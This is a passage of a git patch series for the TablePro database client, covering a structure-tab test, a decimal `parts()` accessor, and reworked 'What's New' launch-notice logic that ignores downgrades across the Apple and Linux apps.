             SaveInput::SaveCompleted { new_table_name } => self.save_completed(new_table_name, fx),
             SaveInput::SaveFailed(message) => {
diff --git a/linux/crates/app/src/ui/structure_tab/tests.rs b/linux/crates/app/src/ui/structure_tab/tests.rs
index c3c1fd3ea2..3c28fa2a04 100644
--- a/linux/crates/app/src/ui/structure_tab/tests.rs
+++ b/linux/crates/app/src/ui/structure_tab/tests.rs
@@ -1110,6 +1110,24 @@ fn a_discard_after_a_save_found_the_table_changed_reads_it_again() {
     assert_eq!(reads_after_discard(Some(SaveInput::TableChangedBeforeSave.into())), 2);
 }
 
+#[gtk4::test]
+fn a_discard_whose_read_fails_leaves_the_discarded_column_out() {
+    let mut script = postgres_script();
+    script
+        .fetch_table_definition
+        .once(FakeReply::ok(definition("id")))
+        .always(FakeReply::err(DriverError::server("denied")));
+    let harness = Harness::open(StructureMode::Edit, script, []);
+    wait_until(WAIT, || harness.page().as_deref() == Some("editor")).expect("the structure");
+    harness.tab().send(ColumnsInput::AddColumn);
+    harness.tab().send(SaveInput::TableChangedBeforeSave);
+
+    harness.tab().send(SaveInput::Discard);
+
+    wait_until(WAIT, || banner(&harness).is_revealed()).expect("the failed read was not shown");
+    assert_eq!(harness.column_names(), ["id"]);
+}
+
 /// The titles of the add buttons the tab shows under `container`.
 fn add_buttons(container: &gtk::Box) -> Vec<String> {
     descendants(container)
diff --git a/linux/crates/core/src/value/decimal.rs b/linux/crates/core/src/value/decimal.rs
index afb4306746..e00e8bd20e 100644
--- a/linux/crates/core/src/value/decimal.rs
+++ b/linux/crates/core/src/value/decimal.rs
@@ -132,6 +132,18 @@ impl SqlDecimal {
         Some((if *negative { -magnitude } else { magnitude }, *scale))
     }
 
+    /// What `from_parts` takes: the sign, the digits and the scale.
+    pub fn parts(&self) -> Option<(bool, &str, u32)> {
+        match &self.0 {
+            DecimalRepr::Finite {
+                negative,
+                coefficient,
+                scale,
+            } => Some((*negative, &**coefficient, *scale)),
+            _ => None,
+        }
+    }
+
     pub fn fits(&self, precision: u32, scale: u32) -> bool {
         let DecimalRepr::Finite {
             coefficient,
@@ -442,6 +454,19 @@ mod tests {
         assert_eq!(SqlDecimal::from_scaled_i128(-125, 2).to_string(), "-1.25");
     }
 
+    #[test]
+    fn parts_round_trip_through_from_parts() {
+        let wide = format!("-{}.5", "9".repeat(60));
+        let digits = format!("{}5", "9".repeat(60));
+        assert_eq!(parse(&wide).parts(), Some((true, digits.as_str(), 1)));
+        assert_eq!(parse("0.10").parts(), Some((false, "10", 2)));
+        let cents = parse("-12.30");
+        let (negative, coefficient, scale) = cents.parts().unwrap();
+        assert_eq!(SqlDecimal::from_parts(negative, coefficient, scale), Ok(cents.clone()));
+        assert_eq!(SqlDecimal::nan().parts(), None);
+        assert_eq!(SqlDecimal::infinity(true).parts(), None);
+    }
+
     #[test]
     fn cmp_numeric_orders_across_scales_and_specials() {
         let ordered = [
diff --git a/linux/data/resources/ui/browse-tab.ui b/linux/data/resources/ui/browse-tab.ui
index a997e126c5..53d43a0eb7 100644
--- a/linux/data/resources/ui/browse-tab.ui
+++ b/linux/data/resources/ui/browse-tab.ui
@@ -95,7 +95,7 @@
           </object>
         </property>
         <child type="bottom">
-          <object class="GtkActionBar">
+          <object class="GtkActionBar" id="action_bar">
             <child type="start">
               <object class="GtkButton" id="insert_button">
                 <property name="icon-name">list-add-symbolic</property>
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index 471b784245..f56ea2ca6a 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -91,6 +91,7 @@ crates/app/src/services/grid/grid_row_id.rs
 crates/app/src/services/grid/mod.rs
 crates/app/src/services/grid/row_key_builder.rs
 crates/app/src/services/grid/row_snapshot.rs
+crates/app/src/services/grid/selection_summary.rs
 crates/app/src/services/grid/test_columns.rs
 crates/app/src/services/grid/value_order.rs
 crates/app/src/services/history_availability.rs
@@ -269,6 +270,7 @@ crates/app/src/ui/data_grid/row_detail/value_editor.rs
 crates/app/src/ui/data_grid/row_json_dialog.rs
 crates/app/src/ui/data_grid/row_number_column.rs
 crates/app/src/ui/data_grid/selection.rs
+crates/app/src/ui/data_grid/selection_summary.rs
 crates/app/src/ui/data_grid/server_sorter.rs
 crates/app/src/ui/data_grid/table_keys.rs
 crates/app/src/ui/data_grid/test_grid.rs
@@ -281,6 +283,7 @@ crates/app/src/ui/data_grid/tests/menus.rs
 crates/app/src/ui/data_grid/tests/mod.rs
 crates/app/src/ui/data_grid/tests/selection.rs
 crates/app/src/ui/data_grid/tests/sorting.rs
+crates/app/src/ui/data_grid/tests/summary.rs
 crates/app/src/ui/data_grid/tests/values.rs
 crates/app/src/ui/data_grid/tests/view.rs
 crates/app/src/ui/data_grid/tracked_values.rs

From 6d218504d394cd6ec014ca0a17fc183f8f0b23d0 Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Fri, 30 Oct 2026 05:25:37 +0100
Subject: [PATCH 35/44] feat(whats-new): announce an update on Linux and stay
 quiet after a downgrade in every app (#3878)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 .../Storage/Preferences/PreferenceKeys.swift  |   7 +-
 .../Views/WhatsNew/WhatsNewNotice.swift       |  16 +-
 .../Onboarding/FirstRunPlan.swift             |   7 +-
 .../Platform/OnboardingPreferences.swift      |   3 +-
 .../Onboarding/FirstRunPlanTests.swift        |  24 ++
 .../OnboardingPreferencesTests.swift          |  21 ++
 .../Views/WhatsNewContentTests.swift          |  70 ++++-
 apple/changelog.d/3878.fixed.1.md             |   1 +
 apple/changelog.d/3878.fixed.md               |   1 +
 linux/Cargo.lock                              |   1 +
 linux/changelog.d/3878.added.md               |   1 +
 linux/crates/app/Cargo.toml                   |   1 +
 .../app/src/application/about_dialog.rs       |  36 ++-
 .../app/src/application/crash_notice.rs       |  62 ----
 linux/crates/app/src/application/imp.rs       |   5 +-
 .../app/src/application/launch_notice.rs      | 135 +++++++++
 linux/crates/app/src/application/mod.rs       |   4 +-
 linux/crates/app/src/application/tests.rs     |  57 ++++
 linux/crates/app/src/ui/mod.rs                |   2 +-
 .../app/src/ui/session_window/crash_notice.rs | 159 -----------
 linux/crates/app/src/ui/session_window/imp.rs |   5 +-
 .../src/ui/session_window/launch_notice.rs    | 265 ++++++++++++++++++
 linux/crates/app/src/ui/session_window/mod.rs |   5 +-
 linux/crates/storage/src/settings/keys.rs     |   1 +
 linux/crates/storage/src/settings/mod.rs      |   8 +
 linux/crates/storage/tests/settings.rs        |  11 +
 .../data/app.tablepro.TablePro.gschema.xml.in |   6 +
 linux/docs/storage.md                         |   3 +-
 linux/po/POTFILES.in                          |   4 +-
 29 files changed, 659 insertions(+), 262 deletions(-)
 create mode 100644 apple/changelog.d/3878.fixed.1.md
 create mode 100644 apple/changelog.d/3878.fixed.md
 create mode 100644 linux/changelog.d/3878.added.md
 delete mode 100644 linux/crates/app/src/application/crash_notice.rs
 create mode 100644 linux/crates/app/src/application/launch_notice.rs
 delete mode 100644 linux/crates/app/src/ui/session_window/crash_notice.rs
 create mode 100644 linux/crates/app/src/ui/session_window/launch_notice.rs

diff --git a/apple/TablePro/Core/Storage/Preferences/PreferenceKeys.swift b/apple/TablePro/Core/Storage/Preferences/PreferenceKeys.swift
index eac9c00c55..a6514424f8 100644
--- a/apple/TablePro/Core/Storage/Preferences/PreferenceKeys.swift
+++ b/apple/TablePro/Core/Storage/Preferences/PreferenceKeys.swift
@@ -13,8 +13,10 @@ enum PreferenceKeys {
     static let queryPlanRawFontSize = DefaultsKey<Double>("com.TablePro.queryPlan.rawFontSize")
     static let queryPlanBarMetric = DefaultsKey<String>("com.TablePro.queryPlan.barMetric")
     static let lastBackupDirectory = DefaultsKey<String>("com.TablePro.backup.lastDirectory")
-    /// The app version this Mac last showed the welcome window for. Device-local: it records what
-    /// has been shown here, not a preference, so it must not sync to another Mac that has not.
+    /// The newest build this Mac has run, for the Welcome window's What's New link. Device-local: it
+    /// records what has been shown here, not a preference, so it must not sync to another Mac.
+    static let lastSeenAppBuild = DefaultsKey<Int>("com.TablePro.welcome.lastSeenAppBuild")
+    /// What a build before `lastSeenAppBuild` recorded instead, read once to carry it over.
     static let lastSeenAppVersion = DefaultsKey<String>("com.TablePro.welcome.lastSeenAppVersion")
     static let connectionListSortMode = DefaultsKey<String>("com.TablePro.connectionList.sortMode")
     static let connectionListFavoritesOrder = DefaultsKey<[String]>("com.TablePro.connectionList.favoritesOrder")
@@ -39,6 +41,7 @@ enum PreferenceKeys {
         queryPlanRawFontSize.name,
         queryPlanBarMetric.name,
         lastBackupDirectory.name,
+        lastSeenAppBuild.name,
         lastSeenAppVersion.name,
         receivesBetaUpdates.name,
     ]
diff --git a/apple/TablePro/Views/WhatsNew/WhatsNewNotice.swift b/apple/TablePro/Views/WhatsNew/WhatsNewNotice.swift
index 015b08ea77..4157ad3e60 100644
--- a/apple/TablePro/Views/WhatsNew/WhatsNewNotice.swift
+++ b/apple/TablePro/Views/WhatsNew/WhatsNewNotice.swift
@@ -7,10 +7,18 @@ internal struct WhatsNewNotice {
     func recordLaunch() -> Bool {
         // A build without notes records nothing, so a Debug run never marks a release as seen.
         guard WhatsNewContent.load(from: bundle) != nil else { return false }
-        let key = PreferenceKeys.lastSeenAppVersion.name
-        let current = bundle.appVersion
-        let previous = defaults.string(forKey: key)
+        // Sparkle orders releases by CFBundleVersion, which RELEASING.md numbers so a beta sorts below its stable.
+        let current = bundle.buildNumber
+        let key = PreferenceKeys.lastSeenAppBuild.name
+        guard let seen = defaults.object(forKey: key) as? Int else {
+            defaults.set(current, forKey: key)
+            // Every build that recorded only the version is older than this one.
+            let legacy = defaults.string(forKey: PreferenceKeys.lastSeenAppVersion.name)
+            return legacy.map { $0 != bundle.appVersion } ?? false
+        }
+        // An older build writes nothing, so going back to the newer one does not offer its notes again.
+        guard seen < current else { return false }
         defaults.set(current, forKey: key)
-        return previous.map { $0 != current } ?? false
+        return true
     }
 }
diff --git a/apple/TableProMobile/TableProMobile/Onboarding/FirstRunPlan.swift b/apple/TableProMobile/TableProMobile/Onboarding/FirstRunPlan.swift
index a04718ab8a..064eb5b518 100644
--- a/apple/TableProMobile/TableProMobile/Onboarding/FirstRunPlan.swift
+++ b/apple/TableProMobile/TableProMobile/Onboarding/FirstRunPlan.swift
@@ -45,6 +45,11 @@ nonisolated struct FirstRunPlan: Sendable {
 
     private var isUpgrade: Bool {
         guard let lastSeenVersion else { return false }
-        return lastSeenVersion != currentVersion
+        return Self.isNewer(currentVersion, than: lastSeenVersion)
+    }
+
+    // The App Store takes only period-separated integers as a version, which a numeric comparison orders.
+    static func isNewer(_ version: String, than seen: String) -> Bool {
+        seen.compare(version, options: .numeric) == .orderedAscending
     }
 }
diff --git a/apple/TableProMobile/TableProMobile/Platform/OnboardingPreferences.swift b/apple/TableProMobile/TableProMobile/Platform/OnboardingPreferences.swift
index 82626d932f..fe009431d2 100644
--- a/apple/TableProMobile/TableProMobile/Platform/OnboardingPreferences.swift
+++ b/apple/TableProMobile/TableProMobile/Platform/OnboardingPreferences.swift
@@ -46,8 +46,9 @@ final class OnboardingPreferences {
         defaults.set(true, forKey: Self.hasSeenWelcomeKey)
     }
 
+    // An older build writes nothing, so going back to the newer one does not show its highlights again.
     func recordLaunch(version: String) {
-        guard lastSeenVersion != version else { return }
+        if let lastSeenVersion, !FirstRunPlan.isNewer(version, than: lastSeenVersion) { return }
         lastSeenVersion = version
         defaults.set(version, forKey: Self.lastSeenVersionKey)
     }
diff --git a/apple/TableProMobile/TableProMobileTests/Onboarding/FirstRunPlanTests.swift b/apple/TableProMobile/TableProMobileTests/Onboarding/FirstRunPlanTests.swift
index 76d3d12afa..333104fe22 100644
--- a/apple/TableProMobile/TableProMobileTests/Onboarding/FirstRunPlanTests.swift
+++ b/apple/TableProMobile/TableProMobileTests/Onboarding/FirstRunPlanTests.swift
@@ -88,4 +88,28 @@ struct FirstRunPlanTests {
         let presentation = plan(hasSeenWelcome: true, syncChoice: true, lastSeenVersion: "1.0")
         #expect(presentation == .firstRun([.usageData]))
     }
+
+    @Test("An older version shows nothing")
+    func olderVersionShowsNothing() {
+        let presentation = plan(
+            hasSeenWelcome: true,
+            syncChoice: true,
+            usageDataChoice: false,
+            lastSeenVersion: "1.1",
+            currentVersion: "1.0"
+        )
+        #expect(presentation == .none)
+    }
+
+    @Test("Versions compare as numbers, not as text")
+    func versionsCompareAsNumbers() {
+        let presentation = plan(
+            hasSeenWelcome: true,
+            syncChoice: true,
+            usageDataChoice: false,
+            lastSeenVersion: "1.9",
+            currentVersion: "1.10"
+        )
+        #expect(presentation == .whatsNew(version: "1.10"))
+    }
 }
diff --git a/apple/TableProMobile/TableProMobileTests/Onboarding/OnboardingPreferencesTests.swift b/apple/TableProMobile/TableProMobileTests/Onboarding/OnboardingPreferencesTests.swift
index 54a079fa29..64e1c801f9 100644
--- a/apple/TableProMobile/TableProMobileTests/Onboarding/OnboardingPreferencesTests.swift
+++ b/apple/TableProMobile/TableProMobileTests/Onboarding/OnboardingPreferencesTests.swift
@@ -58,4 +58,25 @@ struct OnboardingPreferencesTests {
         #expect(reloaded.hasSeenWelcome)
         #expect(reloaded.lastSeenVersion == "1.0")
     }
+
+    @Test("An older version records nothing, so the newer one stays recorded")
+    func olderVersionKeepsNewerRecorded() {
+        let preferences = OnboardingPreferences(defaults: defaults)
+        preferences.recordLaunch(version: "1.1")
+
+        preferences.recordLaunch(version: "1.0")
+
+        #expect(preferences.lastSeenVersion == "1.1")
+        #expect(OnboardingPreferences(defaults: defaults).lastSeenVersion == "1.1")
+    }
+
+    @Test("A newer version is recorded, compared as numbers")
+    func newerVersionIsRecorded() {
+        let preferences = OnboardingPreferences(defaults: defaults)
+        preferences.recordLaunch(version: "1.9")
+
+        preferences.recordLaunch(version: "1.10")
+
+        #expect(OnboardingPreferences(defaults: defaults).lastSeenVersion == "1.10")
+    }
 }
diff --git a/apple/TableProTests/Views/WhatsNewContentTests.swift b/apple/TableProTests/Views/WhatsNewContentTests.swift
index 28d152fab4..59e32a5d1c 100644
--- a/apple/TableProTests/Views/WhatsNewContentTests.swift
+++ b/apple/TableProTests/Views/WhatsNewContentTests.swift
@@ -84,39 +84,89 @@ struct WhatsNewContentTests {
         }
     }
 
-    @Test("With notes a new version shows the Welcome link and is recorded as seen")
-    func notesShowLinkForNewVersion() throws {
+    @Test("With notes a newer build shows the Welcome link and is recorded as seen")
+    func notesShowLinkForNewerBuild() throws {
         let suite = try EphemeralDefaults()
-        suite.defaults.set("0.81.0", forKey: PreferenceKeys.lastSeenAppVersion.name)
+        suite.defaults.set(810_099, forKey: PreferenceKeys.lastSeenAppBuild.name)
 
-        try withBundle(version: "0.82.0", notes: "# TablePro 0.82.0\n") { bundle in
+        try withBundle(version: "0.82.0", build: 820_099, notes: "# TablePro 0.82.0\n") { bundle in
             let showsLink = WhatsNewNotice(bundle: bundle, defaults: suite.defaults).recordLaunch()
 
             #expect(showsLink)
-            #expect(suite.defaults.string(forKey: PreferenceKeys.lastSeenAppVersion.name) == "0.82.0")
+            #expect(suite.defaults.integer(forKey: PreferenceKeys.lastSeenAppBuild.name) == 820_099)
         }
     }
 
-    @Test("A first launch records the version without the Welcome link")
+    @Test("A first launch records the build without the Welcome link")
     func firstLaunchHasNoLink() throws {
         let suite = try EphemeralDefaults()
 
-        try withBundle(version: "0.82.0", notes: "# TablePro 0.82.0\n") { bundle in
+        try withBundle(version: "0.82.0", build: 820_099, notes: "# TablePro 0.82.0\n") { bundle in
+            let showsLink = WhatsNewNotice(bundle: bundle, defaults: suite.defaults).recordLaunch()
+
+            #expect(!showsLink)
+            #expect(suite.defaults.integer(forKey: PreferenceKeys.lastSeenAppBuild.name) == 820_099)
+        }
+    }
+
+    @Test("An older build shows no link and leaves the newer build recorded")
+    func olderBuildIsQuiet() throws {
+        let suite = try EphemeralDefaults()
+        suite.defaults.set(830_099, forKey: PreferenceKeys.lastSeenAppBuild.name)
+        suite.defaults.set("0.83.0", forKey: PreferenceKeys.lastSeenAppVersion.name)
+
+        try withBundle(version: "0.82.0", build: 820_099, notes: "# TablePro 0.82.0\n") { bundle in
             let showsLink = WhatsNewNotice(bundle: bundle, defaults: suite.defaults).recordLaunch()
 
             #expect(!showsLink)
-            #expect(suite.defaults.string(forKey: PreferenceKeys.lastSeenAppVersion.name) == "0.82.0")
+            #expect(suite.defaults.integer(forKey: PreferenceKeys.lastSeenAppBuild.name) == 830_099)
+            #expect(suite.defaults.string(forKey: PreferenceKeys.lastSeenAppVersion.name) == "0.83.0")
+        }
+    }
+
+    @Test("The stable after its beta shows the link, and a relaunch does not")
+    func stableAfterBetaShowsLinkOnce() throws {
+        let suite = try EphemeralDefaults()
+        suite.defaults.set(830_002, forKey: PreferenceKeys.lastSeenAppBuild.name)
+
+        try withBundle(version: "0.83.0", build: 830_099, notes: "# TablePro 0.83.0\n") { bundle in
+            let notice = WhatsNewNotice(bundle: bundle, defaults: suite.defaults)
+
+            #expect(notice.recordLaunch())
+            #expect(!notice.recordLaunch())
+        }
+    }
+
+    @Test("The first build to record a build number shows the link after an older version")
+    func legacyVersionRecordCarriesOver() throws {
+        let suite = try EphemeralDefaults()
+        suite.defaults.set("0.81.0", forKey: PreferenceKeys.lastSeenAppVersion.name)
+
+        try withBundle(version: "0.82.0", build: 820_099, notes: "# TablePro 0.82.0\n") { bundle in
+            let showsLink = WhatsNewNotice(bundle: bundle, defaults: suite.defaults).recordLaunch()
+
+            #expect(showsLink)
+            #expect(suite.defaults.integer(forKey: PreferenceKeys.lastSeenAppBuild.name) == 820_099)
         }
     }
 
-    private func withBundle(version: String, notes: String?, _ body: (Bundle) throws -> Void) throws {
+    private func withBundle(
+        version: String,
+        build: Int = 1,
+        notes: String?,
+        _ body: (Bundle) throws -> Void
+    ) throws {
         let root = FileManager.default.temporaryDirectory
             .appendingPathComponent("WhatsNewContentTests-\(UUID().uuidString)", isDirectory: true)
         defer { try? FileManager.default.removeItem(at: root) }
         let bundleURL = root.appendingPathComponent("Probe.bundle", isDirectory: true)
         let resources = bundleURL.appendingPathComponent("Contents/Resources", isDirectory: true)
         try FileManager.default.createDirectory(at: resources, withIntermediateDirectories: true)
-        let info = ["CFBundleIdentifier": "com.TablePro.WhatsNewProbe", "CFBundleShortVersionString": version]
+        let info = [
+            "CFBundleIdentifier": "com.TablePro.WhatsNewProbe",
+            "CFBundleShortVersionString": version,
+            "CFBundleVersion": String(build),
+        ]
         let plist = try PropertyListSerialization.data(fromPropertyList: info, format: .xml, options: 0)
         try plist.write(to: bundleURL.appendingPathComponent("Contents/Info.plist"))
         if let notes {
diff --git a/apple/changelog.d/3878.fixed.1.md b/apple/changelog.d/3878.fixed.1.md
new file mode 100644
index 0000000000..81c7f304b3
--- /dev/null
+++ b/apple/changelog.d/3878.fixed.1.md
@@ -0,0 +1 @@
+What’s New opening on iPhone and iPad after installing an older TestFlight build.
diff --git a/apple/changelog.d/3878.fixed.md b/apple/changelog.d/3878.fixed.md
new file mode 100644
index 0000000000..341f893b32
--- /dev/null
+++ b/apple/changelog.d/3878.fixed.md
@@ -0,0 +1 @@
+The Welcome window offering What’s New after opening an older version, and again after going back to the newer one.
diff --git a/linux/Cargo.lock b/linux/Cargo.lock
index cb92249d06..bacb9da7e7 100644
--- a/linux/Cargo.lock
+++ b/linux/Cargo.lock
@@ -5558,6 +5558,7 @@ dependencies = [
  "relm4",
  "rustix 1.1.4",
  "secrecy",
+ "semver",
  "serde",
  "serde_json",
  "sourceview5",
diff --git a/linux/changelog.d/3878.added.md b/linux/changelog.d/3878.added.md
new file mode 100644
index 0000000000..43343b91ed
--- /dev/null
+++ b/linux/changelog.d/3878.added.md
@@ -0,0 +1 @@
+The first launch after an update says so, with a What’s New button that opens the release notes in About.
diff --git a/linux/crates/app/Cargo.toml b/linux/crates/app/Cargo.toml
index c340f035ec..cc3f705740 100644
--- a/linux/crates/app/Cargo.toml
+++ b/linux/crates/app/Cargo.toml
@@ -106,6 +106,7 @@ indexmap = "2.14"
 num-bigint.workspace = true
 # The assistant's replies are Markdown; the HTML writer stays off.
 pulldown-cmark = { version = "0.13", default-features = false }
+semver = "1"
 sqlformat = "0.5"
 
 [dev-dependencies]
diff --git a/linux/crates/app/src/application/about_dialog.rs b/linux/crates/app/src/application/about_dialog.rs
index 4627e18f2d..dd89ec15dc 100644
--- a/linux/crates/app/src/application/about_dialog.rs
+++ b/linux/crates/app/src/application/about_dialog.rs
@@ -33,15 +33,29 @@ fn metainfo_resource() -> String {
     format!("{}/metainfo.xml", config::RESOURCE_BASE_PATH)
 }
 
-/// A development version has no release of its own in the metainfo, and
-/// libadwaita reports a version it cannot find as a critical.
-fn release_notes_version(profile: Profile) -> Option<&'static str> {
+// A development version has no release in the metainfo, and libadwaita logs a critical for a missing one.
+pub(super) fn release_notes_version(profile: Profile) -> Option<&'static str> {
     match profile {
         Profile::Default => Some(config::VERSION),
         Profile::Development => None,
     }
 }
 
+// Read the way the About dialog reads them, so the update toast never points to a What's New page it lacks.
+pub(super) fn has_release_notes(version: &str) -> bool {
+    !adw::AboutDialog::from_appdata(&metainfo_resource(), Some(version))
+        .release_notes()
+        .is_empty()
+}
+
+#[cfg(test)]
+pub(super) fn embedded_metainfo() -> String {
+    crate::register_test_resources();
+    let bytes = gio::resources_lookup_data(&metainfo_resource(), gio::ResourceLookupFlags::NONE)
+        .expect("the metainfo is embedded at the resource base path");
+    String::from_utf8(bytes.to_vec()).expect("the metainfo is UTF-8")
+}
+
 #[cfg(test)]
 mod tests {
     use gtk4 as gtk;
@@ -49,13 +63,6 @@ mod tests {
     use super::*;
     use crate::application::metainfo_release::newest_release;
 
-    fn embedded_metainfo() -> String {
-        crate::register_test_resources();
-        let bytes = gio::resources_lookup_data(&metainfo_resource(), gio::ResourceLookupFlags::NONE)
-            .expect("the metainfo is embedded at the resource base path");
-        String::from_utf8(bytes.to_vec()).expect("the metainfo is UTF-8")
-    }
-
     /// The text between the element `open` starts and the next `close`.
     fn metainfo_text<'a>(xml: &'a str, open: &str, close: &str) -> &'a str {
         let start = xml.find(open).unwrap_or_else(|| panic!("{open} is in the metainfo"));
@@ -191,6 +198,15 @@ mod tests {
         }
     }
 
+    #[gtk4::test]
+    fn the_newest_release_has_notes_for_whats_new() {
+        adw::init().expect("libadwaita initialises under the test backend");
+        let xml = embedded_metainfo();
+        let version = newest_release(&xml).expect("the metainfo lists a release");
+
+        assert!(has_release_notes(version));
+    }
+
     #[test]
     fn release_notes_version_absent_in_development_profile() {
         assert_eq!(release_notes_version(Profile::Development), None);
diff --git a/linux/crates/app/src/application/crash_notice.rs b/linux/crates/app/src/application/crash_notice.rs
deleted file mode 100644
index 29ff4b724c..0000000000
--- a/linux/crates/app/src/application/crash_notice.rs
+++ /dev/null
@@ -1,62 +0,0 @@
-use std::path::PathBuf;
-
-use gtk4::glib;
-use gtk4::prelude::*;
-use gtk4::subclass::prelude::*;
-
-use super::TableProApplication;
-use crate::ui::SessionWindow;
-
-impl TableProApplication {
-    /// Looks off the GTK thread for a report the last run left when it
-    /// crashed, and has a window say so.
-    pub(super) fn look_for_crash_report(&self) {
-        let Some(services) = self.services() else {
-            return;
-        };
-        let dir = services.storage.paths().crashes_dir();
-        let looking = services
-            .tasks
-            .spawn_blocking_task(move || crate::crash_report::take_unannounced(&dir));
-        let app = self.downgrade();
-        glib::spawn_future_local(async move {
-            let report = match looking.await {
-                Ok(Ok(Some(report))) => report,
-                Ok(Ok(None)) => return,
-                Ok(Err(error)) => {
-                    tracing::warn!(%error, "could not look for a crash report");
-                    return;
-                }
-                Err(failure) => {
-                    tracing::warn!(%failure, "the crash report lookup failed");
-                    return;
-                }
-            };
-            if let Some(app) = app.upgrade() {
-                app.announce_crash(report);
-            }
-        });
-    }
-
-    /// The window in front says it, or the first one to open when the
-    /// windows of a restored session are still on their way.
-    fn announce_crash(&self, report: PathBuf) {
-        let window = self.active_window().and_downcast::<SessionWindow>().or_else(|| {
-            self.windows()
-                .into_iter()
-                .find_map(|window| window.downcast::<SessionWindow>().ok())
-        });
-        match window {
-            Some(window) => window.announce_crash(report),
-            None => {
-                self.imp().crash_report.replace(Some(report));
-            }
-        }
-    }
-
-    pub(super) fn hand_over_crash_report(&self, window: &SessionWindow) {
-        if let Some(report) = self.imp().crash_report.take() {
-            window.announce_crash(report);
-        }
-    }
-}
diff --git a/linux/crates/app/src/application/imp.rs b/linux/crates/app/src/application/imp.rs
index 16e33e1515..8ced134848 100644
--- a/linux/crates/app/src/application/imp.rs
+++ b/linux/crates/app/src/application/imp.rs
@@ -33,8 +33,8 @@ pub struct TableProApplication {
     /// Files handed over while the record is read, opened after the
     /// windows it restores.
     pub(super) pending_files: RefCell<Vec<gio::File>>,
-    /// A crash report found before any window opened.
-    pub(super) crash_report: RefCell<Option<std::path::PathBuf>>,
+    /// What to say at launch, found before any window opened.
+    pub(super) launch_notices: RefCell<Vec<crate::ui::LaunchNotice>>,
     /// Answers the MCP server's questions about windows and sessions.
     pub(super) mcp_requests: RefCell<Option<glib::JoinHandle<()>>>,
 }
@@ -91,6 +91,7 @@ impl ApplicationImpl for TableProApplication {
             services.start();
             app.start_mcp();
             app.look_for_crash_report();
+            app.note_launch_version();
             self.session_signals
                 .replace(Some(SessionSignals::start(&services.sessions)));
         }
diff --git a/linux/crates/app/src/application/launch_notice.rs b/linux/crates/app/src/application/launch_notice.rs
new file mode 100644
index 0000000000..39323388c2
--- /dev/null
+++ b/linux/crates/app/src/application/launch_notice.rs
@@ -0,0 +1,135 @@
+use std::cmp::Ordering;
+
+use gtk4::glib;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use semver::Version;
+
+use super::TableProApplication;
+use super::about_dialog::{has_release_notes, release_notes_version};
+use crate::config;
+use crate::ui::{LaunchNotice, SessionWindow};
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum Launch {
+    First,
+    Again,
+    Update,
+    Downgrade,
+}
+
+// No release writes a version semver cannot read, so one counts as none.
+fn launch_after(previous: &str, current: &Version) -> Launch {
+    match Version::parse(previous).map(|previous| previous.cmp(current)) {
+        Err(_) => Launch::First,
+        Ok(Ordering::Less) => Launch::Update,
+        Ok(Ordering::Equal) => Launch::Again,
+        Ok(Ordering::Greater) => Launch::Downgrade,
+    }
+}
+
+impl TableProApplication {
+    pub(super) fn look_for_crash_report(&self) {
+        let Some(services) = self.services() else {
+            return;
+        };
+        let dir = services.storage.paths().crashes_dir();
+        let looking = services
+            .tasks
+            .spawn_blocking_task(move || crate::crash_report::take_unannounced(&dir));
+        let app = self.downgrade();
+        glib::spawn_future_local(async move {
+            let report = match looking.await {
+                Ok(Ok(Some(report))) => report,
+                Ok(Ok(None)) => return,
+                Ok(Err(error)) => {
+                    tracing::warn!(%error, "could not look for a crash report");
+                    return;
+                }
+                Err(failure) => {
+                    tracing::warn!(%failure, "the crash report lookup failed");
+                    return;
+                }
+            };
+            if let Some(app) = app.upgrade() {
+                app.announce(LaunchNotice::Crash(report));
+            }
+        });
+    }
+
+    // A development build has no release of its own, so it never marks one as seen.
+    pub(super) fn note_launch_version(&self) {
+        if let Some(version) = release_notes_version(config::profile()) {
+            self.note_launch_of(version);
+        }
+    }
+
+    pub(super) fn note_launch_of(&self, version: &str) {
+        let Some(services) = self.services() else {
+            return;
+        };
+        let current = match Version::parse(version) {
+            Ok(current) => current,
+            Err(error) => {
+                tracing::warn!(%error, version, "the running version is not a release version");
+                return;
+            }
+        };
+        let launch = launch_after(&services.settings.last_seen_version(), &current);
+        // An older build never writes over what a newer one stored (docs/releasing.md, Downgrades).
+        if matches!(launch, Launch::Again | Launch::Downgrade) {
+            return;
+        }
+        // Unrecorded, the toast would come back at every launch.
+        if let Err(error) = services.settings.set_last_seen_version(version) {
+            tracing::warn!(%error, "could not record the running version");
+            return;
+        }
+        if launch == Launch::Update && has_release_notes(version) {
+            self.announce(LaunchNotice::Update(version.to_owned()));
+        }
+    }
+
+    // The windows of a restored session may still be on their way, so the first one to open says it.
+    fn announce(&self, notice: LaunchNotice) {
+        match self.front_session_window() {
+            Some(window) => window.announce(notice),
+            None => self.imp().launch_notices.borrow_mut().push(notice),
+        }
+    }
+
+    pub(super) fn hand_over_launch_notices(&self, window: &SessionWindow) {
+        for notice in self.imp().launch_notices.take() {
+            window.announce(notice);
+        }
+    }
+
+    fn front_session_window(&self) -> Option<SessionWindow> {
+        self.active_window().and_downcast::<SessionWindow>().or_else(|| {
+            self.windows()
+                .into_iter()
+                .find_map(|window| window.downcast::<SessionWindow>().ok())
+        })
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn launch(previous: &str, current: &str) -> Launch {
+        launch_after(previous, &Version::parse(current).expect("a release version"))
+    }
+
+    #[test]
+    fn only_a_launch_after_an_older_release_is_an_update() {
+        assert_eq!(launch("0.1.0", "0.2.0"), Launch::Update);
+        assert_eq!(launch("0.9.0", "0.10.0"), Launch::Update, "not compared as text");
+        assert_eq!(launch("0.2.0-rc.1", "0.2.0"), Launch::Update);
+        assert_eq!(launch("0.2.0", "0.2.0"), Launch::Again);
+        assert_eq!(launch("0.3.0", "0.2.0"), Launch::Downgrade);
+        assert_eq!(launch("0.2.0", "0.2.0-rc.1"), Launch::Downgrade);
+        assert_eq!(launch("", "0.2.0"), Launch::First);
+        assert_eq!(launch("not a version", "0.2.0"), Launch::First);
+    }
+}
diff --git a/linux/crates/app/src/application/mod.rs b/linux/crates/app/src/application/mod.rs
index c733364ac0..a03767408e 100644
--- a/linux/crates/app/src/application/mod.rs
